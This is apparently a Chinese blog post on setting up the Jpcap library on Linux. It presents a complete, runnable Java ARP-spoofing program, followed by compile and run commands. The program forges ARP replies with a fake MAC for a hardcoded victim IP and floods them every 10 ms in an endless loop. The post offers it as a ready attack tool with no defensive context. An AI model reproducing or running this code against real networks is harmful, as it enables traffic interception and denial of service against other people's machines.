linux下的arp欺骗程序实现,linux环境ARP欺骗

一、环境准备

1.从https://github.com/mgodave/Jpcap.git下载源码

2.进入./Jpcap/src/main/c目录

3.修改make文件,修改JNI_INCLUDE=

4.执行make。注意缺什么依赖就补充安装即可。

5.将生成的libjpcap.so拷贝或移动到/usr/lib/下

6.将lib/jpcap.jar作为程序的依赖包。

二、源码例子

在网上找的例子,代码如下:

import java.net.InetAddress;

import jpcap.JpcapCaptor;

import jpcap.JpcapSender;

import jpcap.NetworkInterface;

import jpcap.packet.ARPPacket;

import jpcap.packet.EthernetPacket;

public class Arp{

static byte[] stomac(String s) {

byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };

String[] s1 = s.split("-");

for (int x = 0; x < s1.length; x++) {

mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);

}

return mac;

}

public static void main(String[] args) throws Exception {

InetAddress desip = InetAddress.getByName("10.8.228.228");// 被欺骗的目标IP地址

byte[] desmac = stomac("00-50-56-92-6b-c3");// 被欺骗的目标目标MAC数组

InetAddress srcip = InetAddress.getByName("10.8.228.229");// 源IP地址

byte[] srcmac = stomac("00-50-56-92-31-ff"); // 假的MAC数组

// 枚举网卡并打开设备

NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //枚举网卡设备

NetworkInterface device = devices[0]; //选择网卡设备

JpcapSender sender = JpcapSender.openDevice(device); //打开网卡设备

// 设置ARP包

ARPPacket arp = new ARPPacket();

arp.hardtype = ARPPacket.HARDTYPE_ETHER; //硬件类型

arp.prototype = ARPPacket.PROTOTYPE_IP; //协议类型

arp.operation = ARPPacket.ARP_REPLY; //操作类型 REPLY 表示类型为应答

arp.hlen = 6; //硬件地址长度

arp.plen = 4; //协议类型长度

arp.sender_hardaddr = srcmac; //发送端MAC地址

arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址

arp.target_hardaddr = desmac; //目标硬件地址

arp.target_protoaddr = desip.getAddress(); //目标IP地址

// 定义以太网首部

EthernetPacket ether = new EthernetPacket();

ether.frametype = EthernetPacket.ETHERTYPE_ARP; //设置帧的类型为ARP帧

ether.src_mac = srcmac; //源MAC地址

ether.dst_mac = desmac; //目标MAC地址

arp.datalink = ether; //添加

// 发送ARP应答包

while (true) {

System.out.println("sending arp..");

sender.sendPacket(arp);

Thread.sleep(10);

}

}

}

javac -cp .:jpcap.jar Arp.java

java -cp .:jpcap.jar Arp

三、注意事项

1.库文件一定要放进java.library.path对应的目录中,否则执行时会报库文件找不到

2.目标机器设置的静态条目的IP无法被修改

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值